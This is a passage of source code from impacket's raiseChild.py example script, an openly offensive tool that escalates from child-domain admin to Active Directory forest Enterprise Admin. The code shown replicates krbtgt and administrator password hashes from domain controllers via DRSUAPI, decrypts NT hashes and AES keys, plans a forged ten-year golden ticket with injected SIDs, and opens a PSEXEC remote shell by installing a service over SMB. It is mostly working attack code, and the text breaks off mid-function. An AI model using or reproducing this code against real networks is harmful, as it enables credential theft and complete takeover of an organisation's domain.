github.com/Coalfire-Research/Slackor@v0.0.0-20191010164036-aa32a7f9250b/impacket/examples/raiseChild.py (about) 1 #!/usr/bin/env python 2 # SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 3 # 4 # This software is provided under under a slightly modified version 5 # of the Apache Software License. See the accompanying LICENSE file 6 # for more information. 7 # 8 # Author: Alberto Solino (@agsolino) 9 # 10 # Description: 11 # This script implements a child-domain to forest privilege escalation 12 # as detailed by Sean Metcalf (@PyroTek3) at https://adsecurity.org/?p=1640. We will 13 # be (ab)using the concept of Golden Tickets and ExtraSids researched and implemented 14 # by Benjamin Delpy (@gentilkiwi) in mimikatz (https://github.com/gentilkiwi/mimikatz). 15 # The idea of automating all these tasks came from @mubix. 16 # 17 # The workflow is as follows: 18 # Input: 19 # 1) child-domain Admin credentials (password, hashes or aesKey) in the form of 'domain/username[:password]' 20 # The domain specified MUST be the domain FQDN. 21 # 2) Optionally a pathname to save the generated golden ticket (-w switch) 22 # 3) Optionally a target to PSEXEC with Enterprise Admin privieleges to (-target-exec switch) 23 # 24 # Process: 25 # 1) Find out where the child domain controller is located and get its info (via [MS-NRPC]) 26 # 2) Find out what the forest FQDN is (via [MS-NRPC]) 27 # 3) Get the forest's Enterprise Admin SID (via [MS-LSAT]) 28 # 4) Get the child domain's krbtgt credentials (via [MS-DRSR]) 29 # 5) Create a Golden Ticket specifying SID from 3) inside the KERB_VALIDATION_INFO's ExtraSids array 30 # and setting expiration 10 years from now 31 # 6) Use the generated ticket to log into the forest and get the krbtgt/admin info 32 # 7) If file was specified, save the golden ticket in ccache format 33 # 8) If target was specified, a PSEXEC shell is launched 34 # 35 # Output: 36 # 1) Forest's krbtgt/admin credentials 37 # 2) A golden ticket saved in ccache for future fun and profit 38 # 3) PSExec Shell with Enterprise Admin privileges at target-exec parameter. 39 # 40 # IMPORTANT NOTE: Your machine MUST be able to resolve all the domains from the child domain up to the 41 # forest. Easiest way to do is by adding the forest's DNS to your resolv.conf or similar 42 # 43 # E.G: 44 # Just in case, Microsoft says it all (https://technet.microsoft.com/en-us/library/cc759073(v=ws.10).aspx): 45 # A forest is the only component of the Active Directory logical structure that is a security boundary. 46 # By contrast, a domain is not a security boundary because it is not possible for administrators from one domain 47 # to prevent a malicious administrator from another domain within the forest from accessing data in their domain. 48 # A domain is, however, the administrative boundary for managing objects, such as users, groups, and computers. 49 # In addition, each domain has its own individual security policies and trust relationships with other domains. 50 # 51 # 52 from __future__ import division 53 from __future__ import print_function 54 import argparse 55 import datetime 56 import logging 57 import random 58 import string 59 import sys 60 import os 61 import cmd 62 import time 63 from threading import Thread, Lock 64 from binascii import unhexlify, hexlify 65 from socket import gethostbyname 66 from struct import unpack 67 from six import PY3 68 69 try: 70 import pyasn1 71 except ImportError: 72 logging.critical('This module needs pyasn1 installed') 73 logging.critical('You can get it from https://pypi.python.org/pypi/pyasn1') 74 sys.exit(1) 75 from impacket import version 76 from impacket.krb5.types import Principal, KerberosTime 77 from impacket.krb5 import constants 78 from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS, KerberosError 79 from impacket.krb5.asn1 import AS_REP, AuthorizationData, AD_IF_RELEVANT, EncTicketPart 80 from impacket.krb5.crypto import Key, _enctype_table, _checksum_table, Enctype 81 from impacket.dcerpc.v5.ndr import NDRULONG 82 from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, SE_GROUP_ENABLED 83 from pyasn1.codec.der import decoder, encoder 84 from pyasn1.type.univ import noValue 85 from impacket.examples import logger 86 from impacket.ntlm import LMOWFv1, NTOWFv1 87 from impacket.dcerpc.v5.dtypes import RPC_SID, MAXIMUM_ALLOWED 88 from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_AUTHN_GSS_NEGOTIATE 89 from impacket.dcerpc.v5.nrpc import MSRPC_UUID_NRPC, hDsrGetDcNameEx 90 from impacket.dcerpc.v5.lsat import MSRPC_UUID_LSAT, hLsarOpenPolicy2, POLICY_LOOKUP_NAMES, LSAP_LOOKUP_LEVEL, hLsarLookupSids 91 from impacket.dcerpc.v5.lsad import hLsarQueryInformationPolicy2, POLICY_INFORMATION_CLASS 92 from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \ 93 PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, \ 94 PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, VALIDATION_INFO 95 from impacket.dcerpc.v5 import transport, drsuapi, epm, samr 96 from impacket.smbconnection import SessionError 97 from impacket.nt_errors import STATUS_NO_LOGON_SERVERS 98 from impacket.smbconnection import SMBConnection, smb 99 from impacket.structure import Structure 100 from impacket.examples import remcomsvc, serviceinstall 101 102 ################################################################################ 103 # HELPER FUNCTIONS 104 ################################################################################ 105 106 class RemComMessage(Structure): 107 structure = ( 108 ('Command','4096s=""'), 109 ('WorkingDir','260s=""'), 110 ('Priority','<L=0x20'), 111 ('ProcessID','<L=0x01'), 112 ('Machine','260s=""'), 113 ('NoWait','<L=0'), 114 ) 115 116 class RemComResponse(Structure): 117 structure = ( 118 ('ErrorCode','<L=0'), 119 ('ReturnCode','<L=0'), 120 ) 121 122 RemComSTDOUT = "RemCom_stdout" 123 RemComSTDIN = "RemCom_stdin" 124 RemComSTDERR = "RemCom_stderr" 125 126 lock = Lock() 127 128 class PSEXEC: 129 def __init__(self, command, username, domain, smbConnection, TGS, copyFile): 130 self.__username = username 131 self.__command = command 132 self.__path = None 133 self.__domain = domain 134 self.__exeFile = None 135 self.__copyFile = copyFile 136 self.__TGS = TGS 137 self.__smbConnection = smbConnection 138 139 def run(self, addr): 140 rpctransport = transport.SMBTransport(addr, filename='/svcctl', smb_connection=self.__smbConnection) 141 dce = rpctransport.get_dce_rpc() 142 try: 143 dce.connect() 144 except Exception as e: 145 logging.critical(str(e)) 146 sys.exit(1) 147 148 global dialect 149 dialect = rpctransport.get_smb_connection().getDialect() 150 151 try: 152 unInstalled = False 153 s = rpctransport.get_smb_connection() 154 155 # We don't wanna deal with timeouts from now on. 156 s.setTimeout(100000) 157 if self.__exeFile is None: 158 installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) 159 else: 160 try: 161 f = open(self.__exeFile) 162 except Exception as e: 163 logging.critical(str(e)) 164 sys.exit(1) 165 installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) 166 167 installService.install() 168 169 if self.__exeFile is not None: 170 f.close() 171 172 # Check if we need to copy a file for execution 173 if self.__copyFile is not None: 174 installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) 175 # And we change the command to be executed to this filename 176 self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command 177 178 tid = s.connectTree('IPC$') 179 fid_main = self.openPipe(s,tid,r'\RemCom_communicaton',0x12019f) 180 181 packet = RemComMessage() 182 pid = os.getpid() 183 184 packet['Machine'] = ''.join([random.choice(string.ascii_letters) for _ in range(4)]) 185 if self.__path is not None: 186 packet['WorkingDir'] = self.__path 187 packet['Command'] = self.__command 188 packet['ProcessID'] = pid 189 190 s.writeNamedPipe(tid, fid_main, packet.getData()) 191 192 # Here we'll store the command we type so we don't print it back ;) 193 # ( I know.. globals are nasty :P ) 194 global LastDataSent 195 LastDataSent = '' 196 197 # Create the pipes threads 198 stdin_pipe = RemoteStdInPipe(rpctransport, 199 r'\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), 200 smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, self.__TGS, 201 installService.getShare()) 202 stdin_pipe.start() 203 stdout_pipe = RemoteStdOutPipe(rpctransport, 204 r'\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), 205 smb.FILE_READ_DATA) 206 stdout_pipe.start() 207 stderr_pipe = RemoteStdErrPipe(rpctransport, 208 r'\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), 209 smb.FILE_READ_DATA) 210 stderr_pipe.start() 211 212 # And we stay here till the end 213 ans = s.readNamedPipe(tid,fid_main,8) 214 215 if len(ans): 216 retCode = RemComResponse(ans) 217 logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( 218 self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) 219 installService.uninstall() 220 if self.__copyFile is not None: 221 # We copied a file for execution, let's remove it 222 s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 223 unInstalled = True 224 sys.exit(retCode['ErrorCode']) 225 226 except SystemExit: 227 raise 228 except Exception as e: 229 logging.debug(str(e)) 230 if unInstalled is False: 231 installService.uninstall() 232 if self.__copyFile is not None: 233 s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) 234 sys.stdout.flush() 235 sys.exit(1) 236 237 def openPipe(self, s, tid, pipe, accessMask): 238 pipeReady = False 239 tries = 50 240 while pipeReady is False and tries > 0: 241 try: 242 s.waitNamedPipe(tid,pipe) 243 pipeReady = True 244 except: 245 tries -= 1 246 time.sleep(2) 247 pass 248 249 if tries == 0: 250 raise Exception('Pipe not ready, aborting') 251 252 fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) 253 254 return fid 255 256 class Pipes(Thread): 257 def __init__(self, transport, pipe, permissions, TGS=None, share=None): 258 Thread.__init__(self) 259 self.server = 0 260 self.transport = transport 261 self.credentials = transport.get_credentials() 262 self.tid = 0 263 self.fid = 0 264 self.share = share 265 self.port = transport.get_dport() 266 self.pipe = pipe 267 self.permissions = permissions 268 self.TGS = TGS 269 self.daemon = True 270 271 def connectPipe(self): 272 try: 273 lock.acquire() 274 global dialect 275 self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), 276 sess_port=self.port, preferredDialect=dialect) 277 user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 278 self.server.login(user, passwd, domain, lm, nt) 279 lock.release() 280 self.tid = self.server.connectTree('IPC$') 281 282 self.server.waitNamedPipe(self.tid, self.pipe) 283 self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) 284 self.server.setTimeout(1000000) 285 except Exception: 286 logging.critical("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) 287 288 class RemoteStdOutPipe(Pipes): 289 def __init__(self, transport, pipe, permisssions): 290 Pipes.__init__(self, transport, pipe, permisssions) 291 292 def run(self): 293 self.connectPipe() 294 while True: 295 try: 296 ans = self.server.readFile(self.tid,self.fid, 0, 1024) 297 except: 298 pass 299 else: 300 try: 301 global LastDataSent 302 if ans != LastDataSent: 303 sys.stdout.write(ans.decode('cp437')) 304 sys.stdout.flush() 305 else: 306 # Don't echo what I sent, and clear it up 307 LastDataSent = '' 308 # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, 309 # it will give false positives tho.. we should find a better way to handle this. 310 if LastDataSent > 10: 311 LastDataSent = '' 312 except: 313 pass 314 315 class RemoteStdErrPipe(Pipes): 316 def __init__(self, transport, pipe, permisssions): 317 Pipes.__init__(self, transport, pipe, permisssions) 318 319 def run(self): 320 self.connectPipe() 321 while True: 322 try: 323 ans = self.server.readFile(self.tid,self.fid, 0, 1024) 324 except: 325 pass 326 else: 327 try: 328 sys.stderr.write(str(ans)) 329 sys.stderr.flush() 330 except: 331 pass 332 333 class RemoteShell(cmd.Cmd): 334 def __init__(self, server, port, credentials, tid, fid, TGS, share): 335 cmd.Cmd.__init__(self, False) 336 self.prompt = '\x08' 337 self.server = server 338 self.transferClient = None 339 self.tid = tid 340 self.fid = fid 341 self.credentials = credentials 342 self.share = share 343 self.port = port 344 self.TGS = TGS 345 self.intro = '[!] Press help for extra shell commands' 346 347 def connect_transferClient(self): 348 self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, 349 preferredDialect=dialect) 350 user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials 351 self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) 352 353 def do_help(self, line): 354 print(""" 355 lcd {path} - changes the current local directory to {path} 356 exit - terminates the server process (and this session) 357 put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) 358 get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir 359 ! {cmd} - executes a local shell cmd 360 """ % (self.share, self.share)) 361 self.send_data('\r\n', False) 362 363 def do_shell(self, s): 364 os.system(s) 365 self.send_data('\r\n') 366 367 def do_get(self, src_path): 368 try: 369 if self.transferClient is None: 370 self.connect_transferClient() 371 372 import ntpath 373 filename = ntpath.basename(src_path) 374 fh = open(filename,'wb') 375 logging.info("Downloading %s\\%s" % (self.share, src_path)) 376 self.transferClient.getFile(self.share, src_path, fh.write) 377 fh.close() 378 except Exception as e: 379 logging.error(str(e)) 380 pass 381 382 self.send_data('\r\n') 383 384 def do_put(self, s): 385 try: 386 if self.transferClient is None: 387 self.connect_transferClient() 388 params = s.split(' ') 389 if len(params) > 1: 390 src_path = params[0] 391 dst_path = params[1] 392 elif len(params) == 1: 393 src_path = params[0] 394 dst_path = '/' 395 396 src_file = os.path.basename(src_path) 397 fh = open(src_path, 'rb') 398 f = dst_path + '/' + src_file 399 pathname = f.replace('/','\\') 400 logging.info("Uploading %s to %s\\%s" % (src_file, self.share, dst_path)) 401 if PY3: 402 self.transferClient.putFile(self.share, pathname, fh.read) 403 else: 404 self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) 405 fh.close() 406 except Exception as e: 407 logging.error(str(e)) 408 pass 409 410 self.send_data('\r\n') 411 412 413 def do_lcd(self, s): 414 if s == '': 415 print(os.getcwd()) 416 else: 417 try: 418 os.chdir(s) 419 except Exception as e: 420 logging.error(str(e)) 421 self.send_data('\r\n') 422 423 def emptyline(self): 424 self.send_data('\r\n') 425 return 426 427 def default(self, line): 428 if PY3: 429 self.send_data(line.encode('cp437')+b'\r\n') 430 else: 431 self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') 432 433 def send_data(self, data, hideOutput = True): 434 if hideOutput is True: 435 global LastDataSent 436 LastDataSent = data 437 else: 438 LastDataSent = '' 439 self.server.writeFile(self.tid, self.fid, data) 440 441 class RemoteStdInPipe(Pipes): 442 def __init__(self, transport, pipe, permisssions, TGS=None, share=None): 443 Pipes.__init__(self, transport, pipe, permisssions, TGS, share) 444 445 def run(self): 446 self.connectPipe() 447 shell = RemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.TGS, self.share) 448 shell.cmdloop() 449 450 class RAISECHILD: 451 def __init__(self, target = None, username = '', password = '', domain='', options = None, command=''): 452 self.__rid = 0 453 self.__target = target 454 self.__kdcHost = None 455 self.__command = command 456 self.__writeTGT = options.w 457 self.__domainSid = '' 458 self.__doKerberos = options.k 459 self.__drsr = None 460 self.__ppartialAttrSet = None 461 self.__creds = {} 462 463 self.__creds['username'] = username 464 self.__creds['password'] = password 465 self.__creds['domain'] = domain 466 self.__creds['lmhash'] = '' 467 self.__creds['nthash'] = '' 468 self.__creds['aesKey'] = options.aesKey 469 self.__creds['TGT'] = None 470 self.__creds['TGS'] = None 471 472 #if options.dc_ip is not None: 473 # self.__kdcHost = options.dc_ip 474 #else: 475 # self.__kdcHost = domain 476 self.__kdcHost = None 477 478 if options.hashes is not None: 479 lmhash, nthash = options.hashes.split(':') 480 self.__creds['lmhash'] = unhexlify(lmhash) 481 self.__creds['nthash'] = unhexlify(nthash) 482 483 # Transform IP addresses into FQDNs 484 if self.__target is not None: 485 self.__target = self.getDNSMachineName(self.__target) 486 logging.debug('getDNSMachineName for %s returned %s' % (target, self.__target)) 487 488 NAME_TO_ATTRTYP = { 489 'objectSid': 0x90092, 490 'userPrincipalName': 0x90290, 491 'sAMAccountName': 0x900DD, 492 'unicodePwd': 0x9005A, 493 'dBCSPwd': 0x90037, 494 'supplementalCredentials': 0x9007D, 495 } 496 497 ATTRTYP_TO_ATTID = { 498 'objectSid': '1.2.840.113556.1.4.146', 499 'userPrincipalName': '1.2.840.113556.1.4.656', 500 'sAMAccountName': '1.2.840.113556.1.4.221', 501 'unicodePwd': '1.2.840.113556.1.4.90', 502 'dBCSPwd': '1.2.840.113556.1.4.55', 503 'supplementalCredentials': '1.2.840.113556.1.4.125', 504 } 505 506 KERBEROS_TYPE = { 507 1:'dec-cbc-crc', 508 3:'des-cbc-md5', 509 17:'aes128-cts-hmac-sha1-96', 510 18:'aes256-cts-hmac-sha1-96', 511 0xffffff74:'rc4_hmac', 512 } 513 514 HMAC_SHA1_96_AES256 = 0x10 515 516 def getChildInfo(self, creds): 517 logging.debug('Calling NRPC DsrGetDcNameEx()') 518 target = creds['domain'] 519 if self.__doKerberos is True: 520 # In Kerberos we need the target's name 521 machineNameOrIp = self.getDNSMachineName(gethostbyname(target)) 522 logging.debug('%s is %s' % (gethostbyname(target), machineNameOrIp)) 523 else: 524 machineNameOrIp = target 525 526 stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % machineNameOrIp 527 528 rpctransport = transport.DCERPCTransportFactory(stringBinding) 529 530 if hasattr(rpctransport, 'set_credentials'): 531 rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], 532 creds['nthash'], creds['aesKey']) 533 if self.__doKerberos or creds['aesKey'] is not None: 534 rpctransport.set_kerberos(True) 535 536 dce = rpctransport.get_dce_rpc() 537 dce.connect() 538 dce.bind(MSRPC_UUID_NRPC) 539 540 resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0) 541 #resp.dump() 542 return resp['DomainControllerInfo']['DomainName'][:-1], resp['DomainControllerInfo']['DnsForestName'][:-1] 543 544 @staticmethod 545 def getMachineName(machineIP): 546 s = SMBConnection(machineIP, machineIP) 547 try: 548 s.login('','') 549 except Exception: 550 logging.debug('Error while anonymous logging into %s' % machineIP) 551 else: 552 s.logoff() 553 return s.getServerName() 554 555 @staticmethod 556 def getDNSMachineName(machineIP): 557 s = SMBConnection(machineIP, machineIP) 558 try: 559 s.login('','') 560 except Exception: 561 logging.debug('Error while anonymous logging into %s' % machineIP) 562 else: 563 s.logoff() 564 return s.getServerName() + '.' + s.getServerDNSDomainName() 565 566 def getParentSidAndAdminName(self, parentDC, creds): 567 if self.__doKerberos is True: 568 # In Kerberos we need the target's name 569 machineNameOrIp = self.getDNSMachineName(gethostbyname(parentDC)) 570 logging.debug('%s is %s' % (gethostbyname(parentDC), machineNameOrIp)) 571 else: 572 machineNameOrIp = gethostbyname(parentDC) 573 574 logging.debug('Calling LSAT hLsarQueryInformationPolicy2()') 575 stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % machineNameOrIp 576 577 rpctransport = transport.DCERPCTransportFactory(stringBinding) 578 579 if hasattr(rpctransport, 'set_credentials'): 580 rpctransport.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], 581 creds['nthash'], creds['aesKey']) 582 rpctransport.set_kerberos(self.__doKerberos) 583 584 dce = rpctransport.get_dce_rpc() 585 dce.connect() 586 dce.bind(MSRPC_UUID_LSAT) 587 588 resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES) 589 policyHandle = resp['PolicyHandle'] 590 591 resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation) 592 593 domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical() 594 595 # Now that we have the Sid, let's get the Administrator's account name 596 sids = list() 597 sids.append(domainSid+'-500') 598 resp = hLsarLookupSids(dce, policyHandle, sids, LSAP_LOOKUP_LEVEL.LsapLookupWksta) 599 adminName = resp['TranslatedNames']['Names'][0]['Name'] 600 601 return domainSid, adminName 602 603 def __connectDrds(self, domainName, creds): 604 if self.__doKerberos is True or creds['TGT'] is not None: 605 # In Kerberos we need the target's name 606 machineNameOrIp = self.getDNSMachineName(gethostbyname(domainName)) 607 logging.debug('%s is %s' % (gethostbyname(domainName), machineNameOrIp)) 608 else: 609 machineNameOrIp = gethostbyname(domainName) 610 stringBinding = epm.hept_map(machineNameOrIp, drsuapi.MSRPC_UUID_DRSUAPI, 611 protocol='ncacn_ip_tcp') 612 rpc = transport.DCERPCTransportFactory(stringBinding) 613 if hasattr(rpc, 'set_credentials'): 614 # This method exists only for selected protocol sequences. 615 if creds['TGT'] is not None: 616 rpc.set_credentials(creds['username'],'', creds['domain'], TGT=creds['TGT']) 617 rpc.set_kerberos(True) 618 else: 619 rpc.set_credentials(creds['username'], creds['password'], creds['domain'], creds['lmhash'], 620 creds['nthash'], creds['aesKey']) 621 rpc.set_kerberos(self.__doKerberos) 622 self.__drsr = rpc.get_dce_rpc() 623 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 624 if self.__doKerberos or creds['TGT'] is not None: 625 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 626 self.__drsr.connect() 627 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 628 629 request = drsuapi.DRSBind() 630 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 631 drs = drsuapi.DRS_EXTENSIONS_INT() 632 drs['cb'] = len(drs) #- 4 633 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 |\ 634 drsuapi.DRS_EXT_STRONG_ENCRYPTION 635 drs['SiteObjGuid'] = drsuapi.NULLGUID 636 drs['Pid'] = 0 637 drs['dwReplEpoch'] = 0 638 drs['dwFlagsExt'] = 0 639 drs['ConfigObjGUID'] = drsuapi.NULLGUID 640 drs['dwExtCaps'] = 127 641 request['pextClient']['cb'] = len(drs.getData()) 642 request['pextClient']['rgb'] = list(drs.getData()) 643 resp = self.__drsr.request(request) 644 645 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of 646 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 647 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 648 649 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 650 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( 651 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 652 drsExtensionsInt.fromString(ppextServer) 653 654 if drsExtensionsInt['dwReplEpoch'] != 0: 655 # Different epoch, we have to call DRSBind again 656 if logging.getLogger().level == logging.DEBUG: 657 logging.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 658 'dwReplEpoch']) 659 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 660 request['pextClient']['cb'] = len(drs) 661 request['pextClient']['rgb'] = list(drs.getData()) 662 resp = self.__drsr.request(request) 663 664 self.__hDrs = resp['phDrs'] 665 666 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 667 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, domainName, 2) 668 669 if resp['pmsgOut']['V2']['cItems'] > 0: 670 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 671 else: 672 logging.error("Couldn't get DC info for domain %s" % domainName) 673 raise Exception('Fatal, aborting') 674 675 def DRSCrackNames(self, target, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 676 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name='', creds=None): 677 if self.__drsr is None: 678 self.__connectDrds(target, creds) 679 680 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 681 return resp 682 683 def __decryptSupplementalInfo(self, record, prefixTable=None): 684 # This is based on [MS-SAMR] 2.2.10 Supplemental Credentials Structures 685 plainText = None 686 for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: 687 try: 688 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 689 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 690 except Exception as e: 691 logging.debug('Failed to execute OidFromAttid with error %s' % e) 692 # Fallbacking to fixed table and hope for the best 693 attId = attr['attrTyp'] 694 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 695 696 if attId == LOOKUP_TABLE['supplementalCredentials']: 697 if attr['AttrVal']['valCount'] > 0: 698 blob = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 699 plainText = drsuapi.DecryptAttributeValue(self.__drsr, blob) 700 if len(plainText) < 24: 701 plainText = None 702 703 if plainText: 704 try: 705 userProperties = samr.USER_PROPERTIES(plainText) 706 except: 707 # On some old w2k3 there might be user properties that don't 708 # match [MS-SAMR] structure, discarding them 709 return 710 propertiesData = userProperties['UserProperties'] 711 for propertyCount in range(userProperties['PropertyCount']): 712 userProperty = samr.USER_PROPERTY(propertiesData) 713 propertiesData = propertiesData[len(userProperty):] 714 if userProperty['PropertyName'].decode('utf-16le') == 'Primary:Kerberos-Newer-Keys': 715 propertyValueBuffer = unhexlify(userProperty['PropertyValue']) 716 kerbStoredCredentialNew = samr.KERB_STORED_CREDENTIAL_NEW(propertyValueBuffer) 717 data = kerbStoredCredentialNew['Buffer'] 718 for credential in range(kerbStoredCredentialNew['CredentialCount']): 719 keyDataNew = samr.KERB_KEY_DATA_NEW(data) 720 data = data[len(keyDataNew):] 721 keyValue = propertyValueBuffer[keyDataNew['KeyOffset']:][:keyDataNew['KeyLength']] 722 723 if keyDataNew['KeyType'] in self.KERBEROS_TYPE: 724 # Give me only the AES256 725 if keyDataNew['KeyType'] == 18: 726 return hexlify(keyValue) 727 728 return None 729 730 def __decryptHash(self, record, prefixTable=None): 731 logging.debug('Decrypting hash for user: %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 732 rid = 0 733 LMHash = None 734 NTHash = None 735 for attr in record['pmsgOut']['V6']['pObjects']['Entinf']['AttrBlock']['pAttr']: 736 try: 737 attId = drsuapi.OidFromAttid(prefixTable, attr['attrTyp']) 738 LOOKUP_TABLE = self.ATTRTYP_TO_ATTID 739 except Exception as e: 740 logging.debug('Failed to execute OidFromAttid with error %s, fallbacking to fixed table' % e) 741 # Fallbacking to fixed table and hope for the best 742 attId = attr['attrTyp'] 743 LOOKUP_TABLE = self.NAME_TO_ATTRTYP 744 if attId == LOOKUP_TABLE['dBCSPwd']: 745 if attr['AttrVal']['valCount'] > 0: 746 encrypteddBCSPwd = ''.join(attr['AttrVal']['pAVal'][0]['pVal']) 747 encryptedLMHash = drsuapi.DecryptAttributeValue(self.__drsr, encrypteddBCSPwd) 748 else: 749 LMHash = LMOWFv1('', '') 750 elif attId == LOOKUP_TABLE['unicodePwd']: 751 if attr['AttrVal']['valCount'] > 0: 752 encryptedUnicodePwd = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 753 encryptedNTHash = drsuapi.DecryptAttributeValue(self.__drsr, encryptedUnicodePwd) 754 else: 755 NTHash = NTOWFv1('', '') 756 elif attId == LOOKUP_TABLE['objectSid']: 757 if attr['AttrVal']['valCount'] > 0: 758 objectSid = b''.join(attr['AttrVal']['pAVal'][0]['pVal']) 759 rid = unpack('<L', objectSid[-4:])[0] 760 else: 761 raise Exception('Cannot get objectSid for %s' % record['pmsgOut']['V6']['pNC']['StringName'][:-1]) 762 763 if LMHash is None: 764 LMHash = drsuapi.removeDESLayer(encryptedLMHash, rid) 765 if NTHash is None: 766 NTHash = drsuapi.removeDESLayer(encryptedNTHash, rid) 767 return rid, hexlify(LMHash), hexlify(NTHash) 768 769 def DRSGetNCChanges(self, userEntry, creds): 770 if self.__drsr is None: 771 self.__connectDrds(creds) 772 773 request = drsuapi.DRSGetNCChanges() 774 request['hDrs'] = self.__hDrs 775 request['dwInVersion'] = 8 776 777 request['pmsgIn']['tag'] = 8 778 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 779 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 780 781 dsName = drsuapi.DSNAME() 782 dsName['SidLen'] = 0 783 dsName['Guid'] = drsuapi.NULLGUID 784 dsName['Sid'] = '' 785 dsName['NameLen'] = len(userEntry) 786 dsName['StringName'] = (userEntry + '\x00') 787 788 dsName['structLen'] = len(dsName.getData()) 789 790 request['pmsgIn']['V8']['pNC'] = dsName 791 792 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 793 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 794 795 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 796 797 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 798 request['pmsgIn']['V8']['cMaxObjects'] = 1 799 request['pmsgIn']['V8']['cMaxBytes'] = 0 800 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 801 if self.__ppartialAttrSet is None: 802 self.__prefixTable = [] 803 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 804 self.__ppartialAttrSet['dwVersion'] = 1 805 self.__ppartialAttrSet['cAttrs'] = len(self.ATTRTYP_TO_ATTID) 806 for attId in list(self.ATTRTYP_TO_ATTID.values()): 807 